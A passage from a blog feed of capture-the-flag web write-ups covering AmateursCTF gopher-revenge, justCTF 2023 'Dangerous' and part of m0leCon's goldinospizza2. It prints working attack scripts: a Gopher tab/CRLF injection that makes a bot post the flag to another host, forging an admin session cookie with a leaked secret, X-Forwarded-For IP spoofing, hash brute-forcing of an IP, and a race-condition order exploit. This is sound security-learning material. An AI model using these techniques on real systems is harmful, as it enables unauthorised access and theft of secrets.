		<span class="n">w</span><span class="o">.</span><span class="n">WriteError</span><span class="p">(</span><span class="n">err</span><span class="o">.</span><span class="n">Error</span><span class="p">())</span>
	<span class="p">}</span>
	<span class="n">w</span><span class="o">.</span><span class="n">WriteInfo</span><span class="p">(</span><span class="n">fmt</span><span class="o">.</span><span class="n">Sprintf</span><span class="p">(</span><span class="s">"Hello %s"</span><span class="p">,</span> <span class="n">undecoded</span><span class="p">))</span>
	<span class="n">w</span><span class="o">.</span><span class="n">WriteInfo</span><span class="p">(</span><span class="s">"Please send a post request containing your flag at the server down below."</span><span class="p">)</span>
	<span class="n">w</span><span class="o">.</span><span class="n">WriteItem</span><span class="p">(</span><span class="o">&amp;</span><span class="n">gopher</span><span class="o">.</span><span class="n">Item</span><span class="p">{</span>
		<span class="n">Type</span><span class="o">:</span>        <span class="n">gopher</span><span class="o">.</span><span class="n">FILE</span><span class="p">,</span>
		<span class="n">Selector</span><span class="o">:</span>    <span class="s">"URL:http://amt.rs/gophers-catcher-not-in-scope"</span><span class="p">,</span>
		<span class="n">Description</span><span class="o">:</span> <span class="s">"Submit here! (gopher doesn't have forms D:)"</span><span class="p">,</span>
		<span class="n">Host</span><span class="o">:</span>        <span class="s">"error.host"</span><span class="p">,</span>
		<span class="n">Port</span><span class="o">:</span>        <span class="m">1</span><span class="p">,</span>
	<span class="p">})</span>
<span class="p">}</span>
<span class="k">func</span> <span class="n">main</span><span class="p">()</span> <span class="p">{</span>
	<span class="n">mux</span> <span class="o">:=</span> <span class="n">gopher</span><span class="o">.</span><span class="n">NewServeMux</span><span class="p">()</span>
	<span class="n">mux</span><span class="o">.</span><span class="n">HandleFunc</span><span class="p">(</span><span class="s">"/"</span><span class="p">,</span> <span class="n">index</span><span class="p">)</span>
	<span class="n">mux</span><span class="o">.</span><span class="n">HandleFunc</span><span class="p">(</span><span class="s">"/submit/"</span><span class="p">,</span> <span class="n">submit</span><span class="p">)</span>
	<span class="n">log</span><span class="o">.</span><span class="n">Fatal</span><span class="p">(</span><span class="n">gopher</span><span class="o">.</span><span class="n">ListenAndServe</span><span class="p">(</span><span class="s">"0.0.0.0:7000"</span><span class="p">,</span> <span class="n">mux</span><span class="p">))</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Noticing the string after the 2nd “/” in the selector or “magic string” in the request is included in the response. The bot takes the 3rd item in the response, and I am able to inject into the 1st line. So it is possible to make the selector in the 3rd item being a URL we want, and push the items after the 1st item in the original response further down.</p>

<h4 id="gopher-url">Gopher URL</h4>

<p><a href="https://datatracker.ietf.org/doc/html/rfc4266">RFC 4266</a> specifies the Gopher URI scheme. I then used the information to build the Gopher URL for the Gopher request.</p>

<p>In the URL example</p>

<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gopher://amt.rs:31290/1/submit/lol
</code></pre></div></div>

<p>where <code class="highlighter-rouge">1</code> is the “gophertype”, with <code class="highlighter-rouge">/submit/lol</code> being the “selector string”.</p>

<h3 id="putting-it-together">Putting it together</h3>

<p>Putting it together and generate the payload with the following Python script:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">'amt.rs'</span><span class="p">,</span> <span class="mi">31290</span><span class="p">)</span>
<span class="n">TAB</span> <span class="o">=</span> <span class="s">'%09'</span>
<span class="n">CRLF</span> <span class="o">=</span> <span class="s">'%0D%0A'</span>
<span class="c1"># url = 'https://cps.amt.rs/register.php'
</span><span class="n">urlencoded_url</span> <span class="o">=</span> <span class="s">'https%3A%2F%2Fcps%2Eamt%2Ers%2Fregister.php'</span>
<span class="n">url_line_content</span> <span class="o">=</span> <span class="sa">f</span><span class="s">'0S</span><span class="si">{</span><span class="n">TAB</span><span class="si">}{</span><span class="n">urlencoded_url</span><span class="si">}{</span><span class="n">TAB</span><span class="si">}</span><span class="s">error.host</span><span class="si">{</span><span class="n">TAB</span><span class="si">}</span><span class="s">1'</span>
<span class="n">s</span> <span class="o">=</span> <span class="sa">f</span><span class="s">'/submit/lol</span><span class="si">{</span><span class="n">TAB</span><span class="si">}{</span><span class="n">TAB</span><span class="si">}</span><span class="s">error.host</span><span class="si">{</span><span class="n">TAB</span><span class="si">}</span><span class="s">1</span><span class="si">{</span><span class="n">CRLF</span><span class="si">}</span><span class="s">iA</span><span class="si">{</span><span class="n">TAB</span><span class="si">}{</span><span class="n">TAB</span><span class="si">}</span><span class="s">error.host</span><span class="si">{</span><span class="n">TAB</span><span class="si">}</span><span class="s">1</span><span class="si">{</span><span class="n">CRLF</span><span class="si">}{</span><span class="n">url_line_content</span><span class="si">}{</span><span class="n">CRLF</span><span class="si">}</span><span class="s">iA'</span>
<span class="k">print</span><span class="p">(</span><span class="s">'[payload] Magic string:'</span><span class="p">,</span> <span class="n">s</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">s</span><span class="p">.</span><span class="n">encode</span><span class="p">())</span>
<span class="n">r</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\r\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">response</span> <span class="o">=</span> <span class="n">r</span><span class="p">.</span><span class="n">clean</span><span class="p">(</span><span class="n">timeout</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">'[response] Response:'</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">response</span><span class="p">.</span><span class="n">decode</span><span class="p">())</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="n">replace</span><span class="p">(</span><span class="s">'%'</span><span class="p">,</span> <span class="s">'%25'</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">'[payload] Gopher URL:'</span><span class="p">,</span> <span class="sa">f</span><span class="s">'gopher://amt.rs:31290/1/</span><span class="si">{</span><span class="n">s</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>
</code></pre></div></div>

<p><img src="/assets/image/amateursctf-web-writeup/gopher-revenge-payload.png" alt="Payload" /></p>

<p>This results in the bot POST to <code class="highlighter-rouge">https://cps.amt.rs/register.php</code> with the flag as the password. The URL is for another SQLi challenge (which was worth 0 point because of the solution was leaked), which I did not manage to solve (though I tried to solve it and only the next morning I realised I did not need to solve it and I already had the solution for gopher-revenge). The <code class="highlighter-rouge">/register.php</code> takes exactly username and password as the POST parameters, and returns a cookie named “token” in the response. The bot then shows the value of the cookie. When authenticated with the cookie, the site shows the password of the user.</p>

<p><img src="/assets/image/amateursctf-web-writeup/cps-authenticated.png" alt="CPS page showing password of the authenticated user" /></p>

<p>Copying the password into the flag submission did not work. I did ask the CTF organisers to confirm the code running on the server for the SQLi challenge is the same as the downloadables, and did not do anything special to the flag. The CTF organisers confirmed the code is the same, and said a few teams have stuck here. They then added “the flag in “flag.txt” is the exact same flag you need to submit” to the challenge description as a hint. Seeing the space showing in the password, I then realised it could have been a “+” in the original flag. I then tried to submit the flag with “+” instead of space, and it worked. I realised as I recently had the issue with “+” in the URL.</p>]]></content><author><name></name></author><category term="ctf" /><category term="ctf writeup" /><category term="ctf web" /><summary type="html"><![CDATA[AmateursCTF Event on CTFtime]]></summary></entry><entry><title type="html">justCTF 2023 Dangerous (Web) Writeup</title><link href="https://www.cjxol.com/posts/justctf-2023-web-dangerous-writeup/" rel="alternate" type="text/html" title="justCTF 2023 Dangerous (Web) Writeup" /><published>2023-06-05T00:00:00+01:00</published><updated>2023-06-05T00:00:00+01:00</updated><id>https://www.cjxol.com/posts/justctf-2023-web-dangerous-writeup</id><content type="html" xml:base="https://www.cjxol.com/posts/justctf-2023-web-dangerous-writeup/"><![CDATA[<p><a href="https://2023.justctf.team/challenges/18">justCTF 2023 Dangerous (Web)</a><br />
<a href="https://ctftime.org/event/1930">Event on CTFtime</a></p>

<h2 id="challenge-description">Challenge Description</h2>

<blockquote>
  <p>My friend told me there’s a secret page on this forum, but it’s only for administrators.</p>
</blockquote>

<p>A link to the challenge and downloadable of the source code are provided.</p>

<h2 id="a-first-look">A First Look</h2>

<p>The web app is a forum, with two threads posted.</p>

<p><img src="/assets/image/justctf-2023-web-dangerous-writeup/homepage.png" alt="Homepage" /></p>

<p>Viewing one of the threads, it can be seen that the username of admin is <code class="highlighter-rouge">janitor</code>.</p>

<p><img src="/assets/image/justctf-2023-web-dangerous-writeup/thread-1.png" alt="Thread 1" /></p>

<p>The web app is written in Ruby.</p>

<p>The <code class="highlighter-rouge">/flag</code> endpoint and <code class="highlighter-rouge">is_allowed_ip</code> function is especially interesting:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">get</span> <span class="s2">"/flag"</span> <span class="k">do</span>
  <span class="k">if</span> <span class="o">!</span><span class="n">session</span><span class="p">[</span><span class="ss">:username</span><span class="p">]</span> <span class="k">then</span>
    <span class="n">erb</span> <span class="ss">:login</span>
  <span class="k">elsif</span> <span class="o">!</span><span class="n">is_allowed_ip</span><span class="p">(</span><span class="n">session</span><span class="p">[</span><span class="ss">:username</span><span class="p">],</span> <span class="n">request</span><span class="p">.</span><span class="nf">ip</span><span class="p">,</span> <span class="n">config</span><span class="p">)</span> <span class="k">then</span>
    <span class="k">return</span> <span class="p">[</span><span class="mi">403</span><span class="p">,</span> <span class="s2">"You are connecting from untrusted IP!"</span><span class="p">]</span>
  <span class="k">else</span>
    <span class="k">return</span> <span class="n">config</span><span class="p">[</span><span class="s2">"flag"</span><span class="p">]</span> 
  <span class="k">end</span>
<span class="k">end</span>

<span class="k">def</span> <span class="nf">is_allowed_ip</span><span class="p">(</span><span class="n">username</span><span class="p">,</span> <span class="n">ip</span><span class="p">,</span> <span class="n">config</span><span class="p">)</span>
  <span class="k">return</span> <span class="n">config</span><span class="p">[</span><span class="s2">"mods"</span><span class="p">].</span><span class="nf">any?</span> <span class="p">{</span>
    <span class="o">|</span><span class="n">mod</span><span class="o">|</span> <span class="n">mod</span><span class="p">[</span><span class="s2">"username"</span><span class="p">]</span> <span class="o">==</span> <span class="n">username</span> <span class="n">and</span> <span class="n">mod</span><span class="p">[</span><span class="s2">"allowed_ip"</span><span class="p">]</span> <span class="o">==</span> <span class="n">ip</span>
  <span class="p">}</span>
<span class="k">end</span>
</code></pre></div></div>

<p>It checks the if the user logged in is a moderator and if the IP address is the allowed IP address in a config file.</p>

<h2 id="craft-admin-cookie">Craft Admin Cookie</h2>

<p>When clicking on “New Thread” without filling in anything, the website shows an error page with backtrace and environment information. The session secret as well as how the session cookie is encoded is revealed.</p>

<p><img src="/assets/image/justctf-2023-web-dangerous-writeup/session-options.png" alt="Session options" /></p>

<p>The session is implemented with Rack Protection. With some research into the <a href="https://github.com/sinatra/sinatra/blob/5f4dde19719505989905782a61a19c545df7f9f9/rack-protection/lib/rack/protection/encryptor.rb#L19">source code</a>, and from environment info, it can be seen that the session cookie is encoded and encrypted as follows:</p>

<ol>
  <li>The data is first serialised with Marshal</li>
  <li>It is then encrypted with AES-256-GCM with the first 32 bytes of the session secret as the key</li>
  <li>The encrypted data, IV and authentication tag are then encoded with URL-safe base64</li>
  <li>The encrypted data, IV and authentication tag are then concatenated with a <code class="highlighter-rouge">--</code> delimiter</li>
</ol>

<p>My script to modify the session cookie into an admin cookie is as follows:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">base64</span>
<span class="kn">import</span> <span class="nn">urllib.parse</span>
<span class="kn">import</span> <span class="nn">rubymarshal.reader</span><span class="p">,</span> <span class="n">rubymarshal</span><span class="p">.</span><span class="n">writer</span>
<span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>

<span class="n">secret</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s">'[secret hex string]'</span><span class="p">)</span>
<span class="n">cookie</span> <span class="o">=</span> <span class="s">'[original cookie]'</span>
<span class="n">ct</span><span class="p">,</span> <span class="n">iv</span><span class="p">,</span> <span class="n">auth</span> <span class="o">=</span> <span class="n">cookie</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">'--'</span><span class="p">)</span>
<span class="n">ct</span><span class="p">,</span> <span class="n">iv</span><span class="p">,</span> <span class="n">auth</span> <span class="o">=</span> <span class="nb">map</span><span class="p">(</span><span class="n">urllib</span><span class="p">.</span><span class="n">parse</span><span class="p">.</span><span class="n">unquote</span><span class="p">,</span> <span class="p">[</span><span class="n">ct</span><span class="p">,</span> <span class="n">iv</span><span class="p">,</span> <span class="n">auth</span><span class="p">])</span>
<span class="n">ct</span><span class="p">,</span> <span class="n">iv</span><span class="p">,</span> <span class="n">auth</span> <span class="o">=</span> <span class="nb">map</span><span class="p">(</span><span class="n">base64</span><span class="p">.</span><span class="n">b64decode</span><span class="p">,</span> <span class="p">[</span><span class="n">ct</span><span class="p">,</span> <span class="n">iv</span><span class="p">,</span> <span class="n">auth</span><span class="p">])</span>
<span class="n">cipher</span> <span class="o">=</span> <span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">secret</span><span class="p">[:</span><span class="mi">32</span><span class="p">],</span> <span class="n">AES</span><span class="p">.</span><span class="n">MODE_GCM</span><span class="p">,</span> <span class="n">iv</span><span class="p">)</span>
<span class="n">dec</span> <span class="o">=</span> <span class="n">cipher</span><span class="p">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">ct</span><span class="p">)</span>
<span class="n">d</span> <span class="o">=</span> <span class="n">rubymarshal</span><span class="p">.</span><span class="n">reader</span><span class="p">.</span><span class="n">loads</span><span class="p">(</span><span class="n">dec</span><span class="p">)</span>

<span class="n">d</span><span class="p">[</span><span class="s">'username'</span><span class="p">]</span> <span class="o">=</span> <span class="s">'janitor'</span>
<span class="n">m</span> <span class="o">=</span> <span class="n">rubymarshal</span><span class="p">.</span><span class="n">writer</span><span class="p">.</span><span class="n">writes</span><span class="p">(</span><span class="n">d</span><span class="p">)</span>
<span class="n">cipher</span> <span class="o">=</span> <span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">secret</span><span class="p">[:</span><span class="mi">32</span><span class="p">],</span> <span class="n">AES</span><span class="p">.</span><span class="n">MODE_GCM</span><span class="p">,</span> <span class="n">iv</span><span class="p">)</span>  <span class="c1"># I just reuse the original IV
</span><span class="n">ct</span><span class="p">,</span> <span class="n">auth</span> <span class="o">=</span> <span class="n">cipher</span><span class="p">.</span><span class="n">encrypt_and_digest</span><span class="p">(</span><span class="n">m</span><span class="p">)</span>
<span class="n">ct</span><span class="p">,</span> <span class="n">iv</span><span class="p">,</span> <span class="n">auth</span> <span class="o">=</span> <span class="nb">map</span><span class="p">(</span><span class="n">base64</span><span class="p">.</span><span class="n">b64encode</span><span class="p">,</span> <span class="p">[</span><span class="n">ct</span><span class="p">,</span> <span class="n">iv</span><span class="p">,</span> <span class="n">auth</span><span class="p">])</span>
<span class="n">ct</span><span class="p">,</span> <span class="n">iv</span><span class="p">,</span> <span class="n">auth</span> <span class="o">=</span> <span class="nb">map</span><span class="p">(</span><span class="n">urllib</span><span class="p">.</span><span class="n">parse</span><span class="p">.</span><span class="n">quote</span><span class="p">,</span> <span class="p">[</span><span class="n">ct</span><span class="p">,</span> <span class="n">iv</span><span class="p">,</span> <span class="n">auth</span><span class="p">])</span>
<span class="n">cookie</span> <span class="o">=</span> <span class="sa">f</span><span class="s">'</span><span class="si">{</span><span class="n">ct</span><span class="si">}</span><span class="s">--</span><span class="si">{</span><span class="n">iv</span><span class="si">}</span><span class="s">--</span><span class="si">{</span><span class="n">auth</span><span class="si">}</span><span class="s">'</span>
<span class="k">print</span><span class="p">(</span><span class="n">cookie</span><span class="p">)</span>
</code></pre></div></div>

<h2 id="bypass-ip-restriction">Bypass IP Restriction</h2>

<p>With the admin cookie, the <code class="highlighter-rouge">/flag</code> endpoint now does not prompt to login, but instead shows a 403 error page with message “You are connecting from untrusted IP!”.</p>

<h3 id="spoof-the-ip-address">Spoof the IP Address</h3>

<p>In <code class="highlighter-rouge">nginx.conf</code>, it can be seen that the <code class="highlighter-rouge">REMOTE_ADDR</code> header is set to localhost with the following:</p>

<div class="language-nginx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">proxy_set_header</span> <span class="s">REMOTE_ADDR</span> <span class="s">localhost</span><span class="p">;</span>
</code></pre></div></div>

<p>Research on how the app gets <code class="highlighter-rouge">request.ip</code>, found in this <a href="https://stackoverflow.com/a/43014286">Stack Overflow answer</a>, that if the <code class="highlighter-rouge">REMOTE_ADDR</code> is in reserved private subnet ranges, it will instead use the <code class="highlighter-rouge">X-Forwarded-For</code> header, thus the IP address can be spoofed with <code class="highlighter-rouge">X-Forwarded-For</code>.</p>

<h3 id="find-the-allowed-ip-address">Find the Allowed IP Address</h3>

<p>However, the allowed IP address is still unknown. Looking at the source code, the user colour uses in each thread uses the first 6 characters of the hex value of SHA-256 of the IP address and thread ID concatenated together.</p>

<div class="language-erb highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;%</span> <span class="n">user_color</span> <span class="o">=</span> <span class="no">Digest</span><span class="o">::</span><span class="no">SHA256</span><span class="p">.</span><span class="nf">hexdigest</span><span class="p">(</span><span class="n">reply</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">+</span> <span class="vi">@id</span><span class="p">).</span><span class="nf">slice</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">6</span><span class="p">)</span> <span class="cp">%&gt;</span>
</code></pre></div></div>

<p>In the above code, <code class="highlighter-rouge">reply[2]</code> is the IP address of the user who posted the reply, and <code class="highlighter-rouge">@id</code> is the thread ID.</p>

<p>Both of thread 1 and thread 2 have a reply from the admin, so the IP address can be found by brute forcing to find the IP address that produces the matching hashes for both threads.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">Crypto.Hash</span> <span class="kn">import</span> <span class="n">SHA256</span>
<span class="kn">from</span> <span class="nn">multiprocessing</span> <span class="kn">import</span> <span class="n">Pool</span>
<span class="n">target</span> <span class="o">=</span> <span class="s">'32cae2'</span>
<span class="n">thread</span> <span class="o">=</span> <span class="mi">1</span>
<span class="k">def</span> <span class="nf">brute</span><span class="p">(</span><span class="n">a</span><span class="p">):</span>
    <span class="k">for</span> <span class="n">b</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">256</span><span class="p">):</span>
        <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">256</span><span class="p">):</span>
            <span class="k">for</span> <span class="n">d</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">256</span><span class="p">):</span>
                <span class="n">ip</span> <span class="o">=</span> <span class="sa">f</span><span class="s">'</span><span class="si">{</span><span class="n">a</span><span class="si">}</span><span class="s">.</span><span class="si">{</span><span class="n">b</span><span class="si">}</span><span class="s">.</span><span class="si">{</span><span class="n">c</span><span class="si">}</span><span class="s">.</span><span class="si">{</span><span class="n">d</span><span class="si">}</span><span class="s">'</span>
                <span class="n">x</span> <span class="o">=</span> <span class="n">ip</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">thread</span><span class="p">)</span>
                <span class="n">h</span> <span class="o">=</span> <span class="n">SHA256</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">x</span><span class="p">.</span><span class="n">encode</span><span class="p">()).</span><span class="n">hexdigest</span><span class="p">()[:</span><span class="mi">6</span><span class="p">]</span>
                <span class="k">if</span> <span class="n">h</span> <span class="o">==</span> <span class="n">target</span><span class="p">:</span>
                    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'</span><span class="si">{</span><span class="n">a</span><span class="si">}</span><span class="s">.</span><span class="si">{</span><span class="n">b</span><span class="si">}</span><span class="s">.</span><span class="si">{</span><span class="n">c</span><span class="si">}</span><span class="s">.</span><span class="si">{</span><span class="n">d</span><span class="si">}</span><span class="s">'</span><span class="p">,</span> <span class="n">flush</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
    <span class="k">with</span> <span class="n">Pool</span><span class="p">(</span><span class="mi">8</span><span class="p">)</span> <span class="k">as</span> <span class="n">p</span><span class="p">:</span>
        <span class="n">p</span><span class="p">.</span><span class="nb">map</span><span class="p">(</span><span class="n">brute</span><span class="p">,</span> <span class="nb">range</span><span class="p">(</span><span class="mi">256</span><span class="p">))</span>
</code></pre></div></div>

<p>Putting everything together, the flag is:</p>

<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>justCTF{1_th1nk_4l1ce_R4bb1t_m1ght_4_4_d0g}
</code></pre></div></div>

<h2 id="additional-notes">Additional Notes</h2>

<p>Rack Protection tracks user agent, and if the user agent is changed, the session cookie will be invalidated. Either the user agent must be spoofed, or the session cookie must be regenerated.</p>]]></content><author><name></name></author><category term="ctf" /><category term="ctf writeup" /><category term="ctf web" /><summary type="html"><![CDATA[justCTF 2023 Dangerous (Web) Event on CTFtime]]></summary></entry><entry><title type="html">m0leCon Teaser 2023 Writeup</title><link href="https://www.cjxol.com/posts/m0lecon-teaser-2023-writeup/" rel="alternate" type="text/html" title="m0leCon Teaser 2023 Writeup" /><published>2023-05-16T00:00:00+01:00</published><updated>2023-05-16T00:00:00+01:00</updated><id>https://www.cjxol.com/posts/m0lecon-teaser-2023-writeup</id><content type="html" xml:base="https://www.cjxol.com/posts/m0lecon-teaser-2023-writeup/"><![CDATA[<p><a href="https://ctf.m0lecon.it/">m0leCon Teaser 2023</a><br />
<a href="https://ctftime.org/event/1898">On CTFtime</a></p>

<p>Overall good CTF with challenging original fun challenges.</p>

<p>On this page:</p>

<ul>
  <li><a href="#goldinospizza2">goldinospizza2</a> - Web, websocket API, exploit race condition</li>
  <li><a href="#print-template-2">Print template 2</a> - SSRF via TLS poisoning to request Memcached. I did not solve this challenge, did the writeup based on discussions.</li>
</ul>

<h2 id="goldinospizza2">goldinospizza2</h2>

<p>The challenge was released at about 2:40 AM BST as the “<a href="https://discord.com/channels/1100159162794655904/1100159163096633447/1106757967291879506"><del>patched</del> <em>improved</em> version of <code class="highlighter-rouge">goldinospizza</code></a>”, which was about over 8 hours into the CTF. It was just before I was planning to go to bed, but the challenge looked solvable😅.</p>

<p>The challenge was a web challenge with a website that allowed you to order pizza with a registered account. Most of the pizzas’ prices were ranging between 6 and 15, but there was one pizza named “The flagship of pizzas” that costs 1,000,000. The flag will be shown if this pizza is successfully ordered. The initial account balance is 30.</p>

<p>Looking through the code, there are two websocket API functions that are interesting, one is <code class="highlighter-rouge">order</code>, and another one is <code class="highlighter-rouge">cancel</code>. The <code class="highlighter-rouge">order</code> function is used to order a pizza, and the <code class="highlighter-rouge">cancel</code> function is used to cancel an order and get refund.</p>

<p>The <code class="highlighter-rouge">order</code> function is implemented as follows:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">order</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="n">ws</span><span class="p">,</span> <span class="n">n</span><span class="p">):</span>
    <span class="c1"># Some checks on input omitted
</span>    <span class="k">for</span> <span class="n">item</span> <span class="ow">in</span> <span class="n">data</span><span class="p">[</span><span class="s">"orders"</span><span class="p">]:</span>
        <span class="c1"># Some checks on input omitted
</span>        <span class="k">if</span> <span class="nb">type</span><span class="p">(</span><span class="n">item</span><span class="p">[</span><span class="s">"quantity"</span><span class="p">])</span> <span class="ow">is</span> <span class="ow">not</span> <span class="nb">int</span><span class="p">:</span>
            <span class="n">db</span><span class="p">.</span><span class="n">session</span><span class="p">.</span><span class="n">rollback</span><span class="p">()</span>
            <span class="k">raise</span> <span class="nb">AssertionError</span><span class="p">(</span><span class="s">"ONE OF YOUR 🍕 'quantity' IS NOT INT"</span><span class="p">)</span>
        <span class="k">if</span> <span class="n">item</span><span class="p">[</span><span class="s">"quantity"</span><span class="p">]</span> <span class="o">&lt;=</span> <span class="mi">0</span><span class="p">:</span>
            <span class="n">db</span><span class="p">.</span><span class="n">session</span><span class="p">.</span><span class="n">rollback</span><span class="p">()</span>
            <span class="k">raise</span> <span class="nb">AssertionError</span><span class="p">(</span><span class="s">"ONE OF YOUR 🍕 'quantity' IS NOT VALID"</span><span class="p">)</span>
        <span class="n">product</span> <span class="o">=</span> <span class="n">db</span><span class="p">.</span><span class="n">session</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="n">db</span><span class="p">.</span><span class="n">select</span><span class="p">(</span><span class="n">Product</span><span class="p">).</span><span class="nb">filter</span><span class="p">(</span>
            <span class="n">Product</span><span class="p">.</span><span class="nb">id</span> <span class="o">==</span> <span class="n">item</span><span class="p">[</span><span class="s">"product"</span><span class="p">])).</span><span class="n">scalars</span><span class="p">().</span><span class="n">one_or_none</span><span class="p">()</span>
        <span class="k">if</span> <span class="n">product</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span>
            <span class="n">db</span><span class="p">.</span><span class="n">session</span><span class="p">.</span><span class="n">rollback</span><span class="p">()</span>
            <span class="k">raise</span> <span class="nb">AssertionError</span><span class="p">(</span><span class="s">"WE DON'T SELL THAT 🍕"</span><span class="p">)</span>
        <span class="n">quantity</span> <span class="o">=</span> <span class="n">item</span><span class="p">[</span><span class="s">"quantity"</span><span class="p">]</span>
        <span class="n">current_user</span><span class="p">.</span><span class="n">balance</span> <span class="o">-=</span> <span class="n">product</span><span class="p">.</span><span class="n">price</span> <span class="o">*</span> <span class="n">quantity</span>
        <span class="k">if</span> <span class="n">current_user</span><span class="p">.</span><span class="n">balance</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">:</span>
            <span class="n">db</span><span class="p">.</span><span class="n">session</span><span class="p">.</span><span class="n">rollback</span><span class="p">()</span>
            <span class="k">raise</span> <span class="nb">AssertionError</span><span class="p">(</span><span class="s">"NO 🍕 STEALING ALLOWED!"</span><span class="p">)</span>
        <span class="n">db</span><span class="p">.</span><span class="n">session</span><span class="p">.</span><span class="n">add</span><span class="p">(</span><span class="n">Order</span><span class="p">(</span>
            <span class="n">user_id</span><span class="o">=</span><span class="n">current_user</span><span class="p">.</span><span class="nb">id</span><span class="p">,</span>
            <span class="n">product_id</span><span class="o">=</span><span class="n">product</span><span class="p">.</span><span class="nb">id</span><span class="p">,</span>
            <span class="n">product_quantity</span><span class="o">=</span><span class="n">quantity</span><span class="p">,</span>
            <span class="n">product_price</span><span class="o">=</span><span class="n">product</span><span class="p">.</span><span class="n">price</span>
        <span class="p">))</span>
        <span class="k">if</span> <span class="n">product</span><span class="p">.</span><span class="nb">id</span> <span class="o">==</span> <span class="mi">0</span> <span class="ow">and</span> <span class="n">quantity</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">:</span>
            <span class="n">ws</span><span class="p">.</span><span class="n">send</span><span class="p">(</span>
                <span class="sa">f</span><span class="s">"WOW you are SO rich! Here's a little extra with your golden special 🍕: </span><span class="si">{</span><span class="n">os</span><span class="p">.</span><span class="n">environ</span><span class="p">[</span><span class="s">'FLAG'</span><span class="p">]</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
    <span class="n">db</span><span class="p">.</span><span class="n">session</span><span class="p">.</span><span class="n">add</span><span class="p">(</span><span class="n">current_user</span><span class="p">)</span>
    <span class="n">db</span><span class="p">.</span><span class="n">session</span><span class="p">.</span><span class="n">commit</span><span class="p">()</span>
    <span class="k">return</span> <span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">[</span><span class="s">"orders"</span><span class="p">]),</span> <span class="p">{</span><span class="s">"ok"</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span> <span class="s">"balance"</span><span class="p">:</span> <span class="n">current_user</span><span class="p">.</span><span class="n">balance</span><span class="p">,</span> <span class="s">"orders"</span><span class="p">:</span> <span class="n">_orders</span><span class="p">()}</span>
</code></pre></div></div>

<p>In the code, I identified that there is a race condition that can be exploited to make total order larger than we have in the balance, and cancel the order to refund so we can have more balanced than we started with.</p>

<p>We can blast with multiple websocket requests to make order, and if the previous order has not been committed to the database, the next request is still checked against the old balance.</p>

<p>To make programming easier, I did scripting within the browser console within the context of the website. After some initial test, my balance increased to 66.00 from the initial 30.00.</p>

<p><img src="/assets/image/m0lecon-teaser-2023-writeup/pizza-balance.png" alt="Balance increased to 66.00" /></p>

<p>The script I used to blast the order is as follows:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">let</span> <span class="nx">message</span> <span class="o">=</span> <span class="p">{</span>
    <span class="dl">"</span><span class="s2">request</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">order</span><span class="dl">"</span><span class="p">,</span>
    <span class="dl">"</span><span class="s2">orders</span><span class="dl">"</span><span class="p">:</span> <span class="p">[{</span>
        <span class="dl">"</span><span class="s2">product</span><span class="dl">"</span><span class="p">:</span> <span class="mi">19</span><span class="p">,</span>
        <span class="dl">"</span><span class="s2">quantity</span><span class="dl">"</span><span class="p">:</span> <span class="mi">9792</span><span class="p">,</span>
    <span class="p">},</span> <span class="p">],</span>
<span class="p">}</span>
